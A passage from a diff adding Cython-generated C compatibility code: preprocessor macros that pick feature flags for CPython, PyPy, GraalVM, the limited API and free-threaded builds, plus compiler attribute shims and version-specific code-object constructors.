#define DL_EXPORT(t) t +#endif +#define __PYX_COMMA , +#ifndef HAVE_LONG_LONG + #define HAVE_LONG_LONG +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#define __PYX_LIMITED_VERSION_HEX PY_VERSION_HEX +#if defined(GRAALVM_PYTHON) + /* For very preliminary testing purposes. Most variables are set the same as PyPy. + The existence of this section does not imply that anything works or is even tested */ + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 1 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(PYPY_VERSION) + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #if PY_VERSION_HEX < 0x03090000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1 && PYPY_VERSION_NUM >= 0x07030C00) + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(CYTHON_LIMITED_API) + #ifdef Py_LIMITED_API + #undef __PYX_LIMITED_VERSION_HEX + #define __PYX_LIMITED_VERSION_HEX Py_LIMITED_API + #endif + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 1 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_CLINE_IN_TRACEBACK + #define CYTHON_CLINE_IN_TRACEBACK 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 1 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #endif + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 1 + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(Py_GIL_DISABLED) || defined(Py_NOGIL) + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 1 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #ifndef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 1 + #endif + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #ifndef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 + #endif +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #ifndef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 1 + #endif + #if PY_MAJOR_VERSION < 3 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 1 + #endif + #ifndef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 1 + #endif + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #elif !defined(CYTHON_USE_UNICODE_WRITER) + #define CYTHON_USE_UNICODE_WRITER 1 + #endif + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #ifndef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 1 + #endif + #ifndef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL (PY_MAJOR_VERSION < 3 || PY_VERSION_HEX >= 0x03060000 && PY_VERSION_HEX < 0x030C00A6) + #endif + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL (PY_VERSION_HEX >= 0x030700A1) + #endif + #ifndef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 1 + #endif + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #if PY_VERSION_HEX < 0x030400a1 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #elif !defined(CYTHON_USE_TP_FINALIZE) + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #if PY_VERSION_HEX < 0x030600B1 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #elif !defined(CYTHON_USE_DICT_VERSIONS) + #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX < 0x030C00A5) + #endif + #if PY_VERSION_HEX < 0x030700A3 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #elif !defined(CYTHON_USE_EXC_INFO_STACK) + #define CYTHON_USE_EXC_INFO_STACK 1 + #endif + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 1 + #endif +#endif +#if !defined(CYTHON_FAST_PYCCALL) +#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) +#endif +#if !defined(CYTHON_VECTORCALL) +#define CYTHON_VECTORCALL (CYTHON_FAST_PYCCALL && PY_VERSION_HEX >= 0x030800B1) +#endif +#define CYTHON_BACKPORT_VECTORCALL (CYTHON_METH_FASTCALL && PY_VERSION_HEX < 0x030800B1) +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_MAJOR_VERSION < 3 + #include "longintrepr.h" + #endif + #undef SHIFT + #undef BASE + #undef MASK + #ifdef SIZEOF_VOID_P + enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; + #endif +#endif +#ifndef __has_attribute + #define __has_attribute(x) 0 +#endif +#ifndef __has_cpp_attribute + #define __has_cpp_attribute(x) 0 +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#ifndef CYTHON_UNUSED + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(maybe_unused) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(maybe_unused) + #define CYTHON_UNUSED [[maybe_unused]] + #endif + #endif + #endif +#endif +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_UNUSED_VAR +# if defined(__cplusplus) + template void CYTHON_UNUSED_VAR( const T& ) { } +# else +# define CYTHON_UNUSED_VAR(x) (void)(x) +# endif +#endif +#ifndef CYTHON_MAYBE_UNUSED_VAR + #define CYTHON_MAYBE_UNUSED_VAR(x) CYTHON_UNUSED_VAR(x) +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_USE_CPP_STD_MOVE + #if defined(__cplusplus) && (\ + __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1600)) + #define CYTHON_USE_CPP_STD_MOVE 1 + #else + #define CYTHON_USE_CPP_STD_MOVE 0 + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) +#ifdef _MSC_VER + #ifndef _MSC_STDINT_H_ + #if _MSC_VER < 1300 + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; + #else + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + #endif + #endif + #if _MSC_VER < 1300 + #ifdef _WIN64 + typedef unsigned long long __pyx_uintptr_t; + #else + typedef unsigned int __pyx_uintptr_t; + #endif + #else + #ifdef _WIN64 + typedef unsigned __int64 __pyx_uintptr_t; + #else + typedef unsigned __int32 __pyx_uintptr_t; + #endif + #endif +#else + #include + typedef uintptr_t __pyx_uintptr_t; +#endif +#ifndef CYTHON_FALLTHROUGH + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(fallthrough) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(fallthrough) + #define CYTHON_FALLTHROUGH [[fallthrough]] + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_cpp_attribute(clang::fallthrough) + #define CYTHON_FALLTHROUGH [[clang::fallthrough]] + #elif __has_cpp_attribute(gnu::fallthrough) + #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] + #endif + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_attribute(fallthrough) + #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) + #else + #define CYTHON_FALLTHROUGH + #endif + #endif + #if defined(__clang__) && defined(__apple_build_version__) + #if __apple_build_version__ < 7000000 + #undef CYTHON_FALLTHROUGH + #define CYTHON_FALLTHROUGH + #endif + #endif +#endif +#ifdef __cplusplus + template + struct __PYX_IS_UNSIGNED_IMPL {static const bool value = T(0) < T(-1);}; + #define __PYX_IS_UNSIGNED(type) (__PYX_IS_UNSIGNED_IMPL::value) +#else + #define __PYX_IS_UNSIGNED(type) (((type)-1) > 0) +#endif +#if CYTHON_COMPILING_IN_PYPY == 1 + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x030A0000) +#else + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000) +#endif +#define __PYX_REINTERPRET_FUNCION(func_pointer, other_pointer) ((func_pointer)(void(*)(void))(other_pointer)) + +#ifndef CYTHON_INLINE + #if defined(__clang__) + #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) + #elif defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if PY_MAJOR_VERSION < 3 + #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_DefaultClassType PyClass_Type + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_DefaultClassType PyType_Type +#if CYTHON_COMPILING_IN_LIMITED_API + static CYTHON_INLINE PyObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyObject *exception_table = NULL; + PyObject *types_module=NULL, *code_type=NULL, *result=NULL; + #if __PYX_LIMITED_VERSION_HEX < 0x030B0000 + PyObject *version_info; + PyObject *py_minor_version = NULL; + #endif + long minor_version = 0; + PyObject *type, *value, *traceback; + PyErr_Fetch(&type, &value, &traceback); + #if __PYX_LIMITED_VERSION_HEX >= 0x030B0000 + minor_version = 11; + #else + if (!(version_info = PySys_GetObject("version_info"))) goto end; + if (!(py_minor_version = PySequence_GetItem(version_info, 1))) goto end; + minor_version = PyLong_AsLong(py_minor_version); + Py_DECREF(py_minor_version); + if (minor_version == -1 && PyErr_Occurred()) goto end; + #endif + if (!(types_module = PyImport_ImportModule("types"))) goto end; + if (!(code_type = PyObject_GetAttrString(types_module, "CodeType"))) goto end; + if (minor_version <= 7) { + (void)p; + result = PyObject_CallFunction(code_type, "iiiiiOOOOOOiOO", a, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else if (minor_version <= 10) { + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else { + if (!(exception_table = PyBytes_FromStringAndSize(NULL, 0))) goto end; + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, name, fline, lnos, exception_table, fv, cell); + } + end: + Py_XDECREF(code_type); + Py_XDECREF(exception_table); + Py_XDECREF(types_module); + if (type) { + PyErr_Restore(type, value, traceback); + } + return result; + } + #ifndef CO_OPTIMIZED + #define CO_OPTIMIZED 0x0001 + #endif + #ifndef CO_NEWLOCALS + #define CO_NEWLOCALS 0x0002 + #endif + #ifndef CO_VARARGS + #define CO_VARARGS 0x0004 + #endif + #ifndef CO_VARKEYWORDS + #define CO_VARKEYWORDS 0x0008 + #endif + #ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x0200 + #endif + #ifndef CO_GENERATOR + #define CO_GENERATOR 0x0020 + #endif + #ifndef CO_COROUTINE + #define CO_COROUTINE 0x0080 + #endif +#elif PY_VERSION_HEX >= 0x030B0000 + static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyCodeObject *result; + PyObject *empty_bytes = PyBytes_FromStringAndSize("", 0); + if (!empty_bytes) return NULL; + result = + #if PY_VERSION_HEX >= 0x030C0000 + PyUnstable_Code_NewWithPosOnlyArgs + #else + PyCode_NewWithPosOnlyArgs + #endif + (a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, name, fline, lnos, empty_bytes); + Py_DECREF(empty_bytes); + return result; + } +#elif PY_VERSION_HEX >= 0x030800B2 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_NewWithPosOnlyArgs(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#endif +#endif +#if PY_VERSION_HEX >= 0x030900A4 || defined(Py_IS_TYPE) + #define __Pyx_IS_TYPE(ob, type) Py_IS_TYPE(ob, type) +#else + #define __Pyx_IS_TYPE(ob, type) (((const PyObject*)ob)->ob_type == (type)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_Is) + #define __Pyx_Py_Is(x, y) Py_Is(x, y) +#else + #define __Pyx_Py_Is(x, y) ((x) == (y)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsNone) + #define __Pyx_Py_IsNone(ob) Py_IsNone(ob) +#else + #define __Pyx_Py_IsNone(ob) __Pyx_Py_Is((ob), Py_None) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsTrue) + #define __Pyx_Py_IsTrue(ob) Py_IsTrue(ob) +#else + #define __Pyx_Py_IsTrue(ob) __Pyx_Py_Is((ob), Py_True) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsFalse) + #define __Pyx_Py_IsFalse(ob) Py_IsFalse(ob) +#else + #define __Pyx_Py_IsFalse(ob) __Pyx_Py_Is((ob), Py_False) +#endif +#define __Pyx_NoneAsNull(obj) (__Pyx_Py_IsNone(obj) ? NULL : (obj)) +#if PY_VERSION_HEX >= 0x030900F0 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_GC_IsFinalized(o) PyObject_GC_IsFinalized(o) +#else + #define __Pyx_PyObject_GC_IsFinalized(o) _PyGC_FINALIZED(o) +#endif +#ifndef CO_COROUTINE + #define CO_COROUTINE 0x80 +#endif +#ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x200 +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif +#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#ifndef Py_TPFLAGS_SEQUENCE + #define Py_TPFLAGS_SEQUENCE 0 +#endif +#ifndef Py_TPFLAGS_MAPPING + #define Py_TPFLAGS_MAPPING 0 +#endif +#ifndef METH_STACKLESS + #define METH_STACKLESS 0 +#endif +#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) + #ifndef METH_FASTCALL + #define METH_FASTCALL 0x80 + #endif + typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); + typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, + Py_ssize_t nargs, PyObject *kwnames); +#else + #if PY_VERSION_HEX >= 0x030d00A4 + # define __Pyx_PyCFunctionFast PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords PyCFunctionFastWithKeywords + #else + # define __Pyx_PyCFunctionFast _PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords + #endif +#endif +#if CYTHON_METH_FASTCALL + #define __Pyx_METH_FASTCALL METH_FASTCALL + #define __Pyx_PyCFunction_FastCall __Pyx_PyCFunctionFast + #define __Pyx_PyCFunction_FastCallWithKeywords __Pyx_PyCFunctionFastWithKeywords +#else + #define __Pyx_METH_FASTCALL METH_VARARGS + #define __Pyx_PyCFunction_FastCall PyCFunction + #define __Pyx_PyCFunction_FastCallWithKeywords PyCFunctionWithKeywords +#endif +#if CYTHON_VECTORCALL + #define __pyx_vectorcallfunc vectorcallfunc + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET PY_VECTORCALL_ARGUMENTS_OFFSET + #define __Pyx_PyVectorcall_NARGS(n) PyVectorcall_NARGS((size_t)(n)) +#elif CYTHON_BACKPORT_VECTORCALL + typedef PyObject *(*__pyx_vectorcallfunc)(PyObject *callable, PyObject *const *args, + size_t nargsf, PyObject *kwnames); + #define 